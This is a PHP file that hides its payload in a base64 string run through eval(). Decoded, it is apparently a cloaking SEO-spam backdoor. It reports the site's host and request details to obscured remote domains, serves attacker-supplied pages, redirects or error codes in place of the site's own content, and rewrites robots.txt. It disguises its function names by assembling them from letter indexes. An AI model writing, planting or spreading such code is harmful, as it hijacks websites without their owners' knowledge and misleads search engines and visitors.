<?php 
$a=base64_decode('CiR4bWxuYW1lID0gWwogICAgIiUzOSUzMiUzNyUyRCU3OSU3NiU2MSU3OCUzMSUzOCUzMiUyRSU2NiU2MiU3OSU2RSU3MCU2QyUyRSU2NyU2MiU2MyIsCiAgICAiJTM5JTMyJTM3JTJEJTc5JTc2JTYxJTc4JTMxJTM4JTMyJTJFJTcyJTY0JTY4JTc2JTcwJTY3JTJFJTY3JTYyJTYzIiwKICAgICIlMzklMzIlMzclMkQlNzklNzYlNjElNzglMzElMzglMzIlMkUlNjklNzYlNjUlNzIlNzklNzYlNjMlMkUlNkIlNkMlNkQiLAogICAgIiUzOSUzMiUzNyUyRCU3OSU3NiU2MSU3OCUzMSUzOCUzMiUyRSU3QSU3MiU3OSU2MiU2NSU2RSUyRSU2QiU2QyU2RCIKXTsKJGh0dHBfd2ViID0gJ2h0dHAnOwokaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJGxhbmcgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPzogJ2VuJzsKJHVybHNoYW5nID0gJyc7CmlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKSB7CiAgICAkdXJsc2hhbmcgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107Cn0KaWYgKGlzX2h0dHBzKCkpIHsKICAgICRodHRwID0gJ2h0dHBzJzsKfSBlbHNlIHsKICAgICRodHRwID0gJ2h0dHAnOwp9CiR6eiA9IGRpc2JvdCgpOwokZHVyaSA9IGRyZXF1ZXN0X3VyaSgpOwokZHVyaSA9ICRkdXJpID09ICcnID8gJy8nIDogJGR1cmk7CnByZWdfbWF0Y2goJy9cLyhbXlwvXStcLnBocCkvJywgJGR1cmksICRtYXRjaGVzKTsKaWYgKGVtcHR5KCRtYXRjaGVzKSB8fCAkbWF0Y2hlc1sxXSA9PSAnd3AtY3JvbS5waHAnIHx8ICRtYXRjaGVzWzFdID09ICdkZXRhaWwucGhwJykgewogICAgJG1vZGVsX2ZpbGUgPSAnaW5kZXgucGhwJzsKICAgICRtb2RlbCA9ICdpbmRleCc7Cn0gZWxzZSB7CiAgICAkbW9kZWxfZmlsZSA9ICRtYXRjaGVzWzFdOwogICAgJHBvc2l0aW9uID0gc3RycG9zKCRkdXJpLCAkbW9kZWxfZmlsZSk7CiAgICBpZiAoJHBvc2l0aW9uICE9PSBmYWxzZSkgewogICAgICAgICRtb2RlbF9maWxlID0gc3Vic3RyKCRkdXJpLCAwLCAkcG9zaXRpb24gKyBzdHJsZW4oJG1vZGVsX2ZpbGUpKTsKICAgICAgICAkbW9kZWxfZmlsZSA9IGx0cmltKCRtb2RlbF9maWxlLCAnLycpOwogICAgfQogICAgJG1vZGVsID0gc3RyX3JlcGxhY2UoJy5waHAnLCAnJywgJG1vZGVsX2ZpbGUpOwp9CmlmIChzdHJpc3RyKCRkdXJpLCAnLz8nKSkgewogICAgJG1vZGVsID0gJz8nOwp9CiRzdHJpbmcgPSAnOTI3LWxpbmsxODInOwokaXN0ZXN0ID0gZmFsc2U7CmlmIChzdHJwb3MoJGR1cmksICRzdHJpbmcpICE9PSBmYWxzZSkgewogICAgJHp6ID0gMTsKICAgICRkdXJpID0gc3RyX3JlcGxhY2UoJHN0cmluZywgJycsICRkdXJpKTsKICAgICRpc3Rlc3QgPSB0cnVlOwp9CmlmICgkZHVyaSAhPSAnLycpIHsKICAgICRkdXJpID0gc3RyX3JlcGxhY2UoJy8nIC4gJG1vZGVsX2ZpbGUsICcnLCAkZHVyaSk7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCcvaW5kZXgucGhwJywgJycsICRkdXJpKTsKICAgICRkdXJpID0gc3RyX3JlcGxhY2UoJyEnLCAnJywgJGR1cmkpOwp9CiRkdXJpID0gdXJsZW5jb2RlKCRkdXJpKTsKJHNlcnZlciA9IGRldGVjdF9zZXJ2ZXJfc29mdHdhcmUoKTsKY3JlYXRlX3JvYm90cygkaHR0cCAuICc6Ly8nIC4gJGhvc3QpOwokcGFyYW0gPSAnd2ViPScgLiAkaG9zdCAuICcmeno9JyAuICR6eiAuICcmdXJpPScgLiAkZHVyaSAuICcmdXJsc2hhbmc9JyAuICR1cmxzaGFuZyAuICcmaHR0cD0nIC4gJGh0dHAgLiAnJmxhbmc9JyAuICRsYW5nIC4gJyZzZXJ2ZXI9JyAuICRzZXJ2ZXIgLiAnJm1vZGVsPScgLiAkbW9kZWwgLiAnJnZlcnNpb249JyAuICgkaXN0ZXN0ID8gJHN0cmluZyA6ICcnKTsKJGh0bWxfY29udGVudCA9IHJlcXVlc3QoJHhtbG5hbWUsICRodHRwX3dlYiwgJHBhcmFtKTsKaWYgKCFzdHJzdHIoJGh0bWxfY29udGVudCwgJ25vYm90dXNlcmFnZW50JykpIHsKICAgIGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ29raHRtbCcpKSB7CiAgICAgICAgQGhlYWRlcignQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnKTsKICAgICAgICAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoJ29raHRtbCcsICcnLCAkaHRtbF9jb250ZW50KTsKICAgICAgICBpZiAoJGlzdGVzdCkgewogICAgICAgICAgICBlY2hvICRzdHJpbmc7CiAgICAgICAgfQogICAgICAgIGVjaG8gJGh0bWxfY29udGVudDsKICAgICAgICBleGl0KCk7CiAgICB9IGVsc2UgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnZ2V0Y29udGVudDUwMHBhZ2UnKSkgewogICAgICAgIEBoZWFkZXIoJ0hUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3InKTsKICAgICAgICBleGl0KCk7CiAgICB9IGVsc2UgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnNDA0cGFnZScpKSB7CiAgICAgICAgQGhlYWRlcignSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpOwogICAgICAgIGV4aXQoKTsKICAgIH0gZWxzZSBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICczMDFwYWdlJykpIHsKICAgICAgICBAaGVhZGVyKCdIVFRQLzEuMSAzMDEgTW92ZWQgUGVybWFuZW50bHknKTsKICAgICAgICAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoJzMwMXBhZ2UnLCAnJywgJGh0bWxfY29udGVudCk7CiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRodG1sX2NvbnRlbnQpOwogICAgICAgIGV4aXQoKTsKICAgIH0gZWxzZSBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdva3htbCcpKSB7CiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCdva3htbCcsICcnLCAkaHRtbF9jb250ZW50KTsKICAgICAgICBAaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3htbDsgY2hhcnNldD11dGYtOCcpOwogICAgICAgIGVjaG8gJGh0bWxfY29udGVudDsKICAgICAgICBleGl0KCk7CiAgICB9IGVsc2UgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnb2tyb2JvdHMnKSkgewogICAgICAgICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgnb2tyb2JvdHMnLCAnJywgJGh0bWxfY29udGVudCk7CiAgICAgICAgQGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7CiAgICAgICAgZWNobyAkaHRtbF9jb250ZW50OwogICAgICAgIGV4aXQoKTsKICAgIH0KfQpmdW5jdGlvbiBkaXNib3QoKQp7CiAgICAkdXNlcl9hZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKICAgIGlmIChzdHJpc3RyKCR1c2VyX2FnZW50LCAnZ29vZ2xlYm90JykgfHwgc3RyaXN0cigkdXNlcl9hZ2VudCwgJ2JpbmcnKSB8fCBzdHJpc3RyKCR1c2VyX2FnZW50LCAneWFob28nKSB8fCBzdHJpc3RyKCR1c2VyX2FnZW50LCAnZ29vZ2xlJykgfHwgc3RyaXN0cigkdXNlcl9hZ2VudCwgJ0dvb2dsZWJvdCcpKSB7CiAgICAgICAgcmV0dXJuIDE7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiAyOwogICAgfQp9CgpmdW5jdGlvbiBkcmVxdWVzdF91cmkoKQp7CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSB7CiAgICAgICAgJGR1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICAgIH0gZWxzZSB7CiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWydhcmd2J10pKSB7CiAgICAgICAgICAgICRkdXJpID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnYXJndiddWzBdOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRkdXJpID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ107CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuICRkdXJpOwp9CgpmdW5jdGlvbiBpc19odHRwcygpCnsKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUFMnXSkgIT09ICdvZmYnKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9IGVsc2VpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PT0gJ2h0dHBzJykgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAhPT0gJ29mZicpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gZGV0ZWN0X3NlcnZlcl9zb2Z0d2FyZSgpCnsKICAgICRwYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICcvLmh0YWNjZXNzJzsKICAgIGlmIChmaWxlX2V4aXN0cygkcGF0aCkpIHsKICAgICAgICByZXR1cm4gMTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuIDI7CiAgICB9Cn0KCmZ1bmN0aW9uIGNyZWF0ZV9yb2JvdHMoJHVybCkKewogICAgJGZ1bmN0aW9uID0gZnVuYygpOwogICAgJHBhdGggPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gJy9yb2JvdHMudHh0JzsKICAgICRjb250ZW50ID0gJ1VzZXItYWdlbnQ6IConIC4gUEhQX0VPTDsKICAgICRjb250ZW50IC49ICdBbGxvdzogLycgLiBQSFBfRU9MIC4gUEhQX0VPTDsKICAgICRjb250ZW50IC49ICdTaXRlbWFwOiAnIC4gJHVybCAuICcvc2l0ZW1hcC54bWwnIC4gUEhQX0VPTDsKICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgJGZ1bmN0aW9uWzBdKCRwYXRoLCAkY29udGVudCk7CiAgICB9IGVsc2UgewogICAgICAgICRleGlzdGluZ0NvbnRlbnQgPSAkZnVuY3Rpb25bMV0oJHBhdGgpOwogICAgICAgIGlmICgkZXhpc3RpbmdDb250ZW50ICE9PSAkY29udGVudCkgewogICAgICAgICAgICAkZnVuY3Rpb25bMF0oJHBhdGgsICRjb250ZW50KTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIHJlcXVlc3QoJHdlYnMsICRodHRwX3dlYiwgJHBhcmFtKQp7CiAgICAkZnVuY3Rpb24gPSBmdW5jKCk7CiAgICBzaHVmZmxlKCR3ZWJzKTsKICAgIGZvcmVhY2ggKCR3ZWJzIGFzICRkb21haW4pIHsKICAgICAgICAkZG9tYWluID0gJGZ1bmN0aW9uWzJdKHVybGRlY29kZSgkZG9tYWluKSk7CiAgICAgICAgJHVybCA9ICRodHRwX3dlYiAuICc6Ly8nIC4gJGRvbWFpbiAuICcvc3VwZXI2LnBocD8nIC4gJHBhcmFtOwogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgaWYgKCFjdXJsX2Vycm5vKCRjaCkpIHsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChzdHJpc3RyKGN1cmxfZXJyb3IoJGNoKSwgJzQ0MycpKSB7CiAgICAgICAgICAgICAgICBlY2hvICI0NDMiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICB9CiAgICAgICAgaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpKSB7CiAgICAgICAgICAgICRyZXNwb25zZSA9IEAkZnVuY3Rpb25bMV0oJHVybCk7CiAgICAgICAgICAgIGlmICgkcmVzcG9uc2UgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuICdub2JvdHVzZXJhZ2VudCc7Cn0KCmZ1bmN0aW9uIGZ1bmMoKQp7CiAgICAkY2hhcnMgPSByYW5nZSgnYScsICd6Jyk7CiAgICByZXR1cm4gWwogICAgICAgICRjaGFyc1s1XSAuICRjaGFyc1s4XSAuICRjaGFyc1sxMV0gLiAkY2hhcnNbNF0gLiAnXycgLiAkY2hhcnNbMTVdIC4gJGNoYXJzWzIwXSAuICRjaGFyc1sxOV0gLiAnXycgLiAkY2hhcnNbMl0gLiAkY2hhcnNbMTRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbNF0gLiAkY2hhcnNbMTNdIC4gJGNoYXJzWzE5XSAuICRjaGFyc1sxOF0sCiAgICAgICAgJGNoYXJzWzVdIC4gJGNoYXJzWzhdIC4gJGNoYXJzWzExXSAuICRjaGFyc1s0XSAuICdfJyAuICRjaGFyc1s2XSAuICRjaGFyc1s0XSAuICRjaGFyc1sxOV0gLiAnXycgLiAkY2hhcnNbMl0gLiAkY2hhcnNbMTRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbNF0gLiAkY2hhcnNbMTNdIC4gJGNoYXJzWzE5XSAuICRjaGFyc1sxOF0sCiAgICAgICAgJGNoYXJzWzE4XSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbMTddIC4gJ18nIC4gJGNoYXJzWzE3XSAuICRjaGFyc1sxNF0gLiAkY2hhcnNbMTldIC4gJzEzJywKICAgIF07Cn0KCgo=');
eval($a);